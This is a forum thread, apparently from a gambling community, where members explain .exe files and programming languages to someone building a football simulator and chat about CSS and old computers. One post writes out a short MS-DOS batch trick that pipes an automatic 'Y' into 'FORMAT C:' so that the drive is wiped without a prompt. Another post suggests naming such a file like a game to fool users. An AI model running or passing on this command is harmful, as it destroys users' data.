Exe problems

[vegyjones]

Right here we go, looked on the net... couldn't find anything!

What does .exe stand for after a programmes name?

How easy is it to create my own personal .exe programme.

This is in relation to my football sim!
I want to put people choices into the programme
and let it generate a result for me based on my own guidelines.

Is this easy or hard to do!
Where can I find this stuff out!

Do I need to spend 7 days in a darkened room with the Webmaster :yikes: :laugh

Cheers everyone

[John]

EXE stands for EXECUTABLE. The only way I know of to make one (with its own installer) is by converting a ZIP file to an EXE using WinZip, I think it's the Self Extracting EXE you have to click and go through the process. I'd imagine others can tell you a lot more about it than me.

[Win2Win]

You'll have to learn to program to produce software .EXE files

I'm currently using Liberty Basic, as I got sick of MS VBasic, and the fact they have now changed it completey over to .NET without asking anyone.

[vegyjones]

Cheers John and Keith!
Looked on the Liberty Basics website, looks complicated and!
Didn't really expect it to be, if I'm honest!

Will have to do a bit more research! Cheers lads! :wink

[Win2Win]

As long as you can do basic algebra, and write a story, that is all programming is :) It generally takes me 2 weeks to pick up a new language.

[GlosRFC]

Essentially, an EXE file is one that can be interpreted directly by your computer. Usually they contain binary representations of machine code instructions along with some other stuff not directly related to the program such as debugging info, and details of the operating system in which the file is designed to run. They also contain calls to operating system functions which makes them OS-specific as well as processor-specific. That's why EXE files written for Windows don't work on a Mac OS and vice versa.

The other common kind of executable is a COM file. This contains just code and data and, due to its limitations, runs in an MS-DOS window.

[MarcusMel]

Now don't forget that we can now 'run' a powerful set of comands with .js and .vbs
javascript files and visual basic script.

Nice of them to find a new way for people to write virus/trojan methods even when they were already known about:doh

[bigcumba]

I can see the headlines now...

'Vegy asks for help with his exe life'! :D

[GlosRFC]

Keeping things in perspective though, the benefits of js and vbs far outweigh the negative impact of viruses. And it's not really anything new, even MS-DOS batch files could reap havoc in the wrong hands:

C:/> COPY CON Y
Y
^Z
C:/> 1 file(s) copied

C:/> COPY CON DESTROY.BAT
FORMAT C: < Y
^Z
C:/> 1 file(s) copied

C:/> DESTROY

p.s. I don't recommend that anyone tries this at home :D

[plater]

Why would a Conservative Kill a Bat :D , seriously very easy to get that stuff as you say Glos simple C/Line bat files can do a lot of harm indeed...

[MarcusMel]

Agreed but I think the file would be called pong or Hexam! so the less aware would just type the file name with all the excitment of about to play a game. However its the automatic running of such files that create more havoc. The user has no real control over the software that runs on the computer since windows decided to try and do it all for you.

You can see some of whats running but you don't know what it is doing or for.

[Win2Win]

Who just wiped the server??? ;fire ;fire ;fire ;fire

[plater]

With all the talk about Qbasic and Bat files i'm feeling a bit nostalgic "AND AGED" :wiggle:

[GlosRFC]

Who just wiped the server??? ;fire ;fire ;fire ;fire

Uh-oh....I'll just pack my case and go :yikes:

[jollyjayne]

Wish I still had my MSX and ZX81 .
Used to be "fun" trying to write programmes (programs) on them :) :)

[thewebmaster]

I've got the talent to learn the languages but like Win2win says i've just learnt one and they bring another out, i must say i prefer visual basic as it's so easy to pick up

the real problem is the cost of the inital software, noone's mentioned delphi yet, is this because it's out-of-date and practically dead? lol :wiggle:

[tophatter]

I've got the talent to learn the languages but like Win2win says i've just learnt one and they bring another out



I must say you should get whoever taught you that language should try to get to teach you gambling discipline. 18+ years to teach you English is to be envied when you look at how we are getting on here teaching you the dicipline needed when gambling :wink

[TheOldhamWhisper]

Writing a program in any language is easy - writing a useful one takes lots of hard work and study.

I essentially use VBA as most of my work involves database work and it's easier to let the database BE the program. After learning this, the crossover to asp pages for the web is simple. The next 'step' would be Visual Basic - but that is now VB .Net - the concepts are the same.

If you are serious about programming, you should start with 'C'. EVERY modern language has its root in this and ANY program written in 'C' will (theoretically) compile in the language you adopt (eg Delphi, C++ etc).

[sparkyminer]

With all the talk about Qbasic and Bat files i'm feeling a bit nostalgic "AND AGED" :wiggle:
I'm feeling a bit thick. :geek

[John]

Oldham, do you know CSS? I'm trying to learn it at the moment so that I don't have to use tables any more. Plus it makes all the other bits streamlined and sleek. :)

[TheOldhamWhisper]

CSS are simply templates to add 'consistency' to a site. I assume you are using xml to do them?

[Win2Win]

Once you get to grips with CSS it's easy, just a case of changing habits. The problem with the Web is you learn one thing, and they add another two on!!

[John]

Yeah, learning the concepts of XML alongside it. Only because my housemate won't let me use tables any more and wants me to get a different browser other than IE! Apparently that Mozilla Firefox is meant to be the 'in thing' now.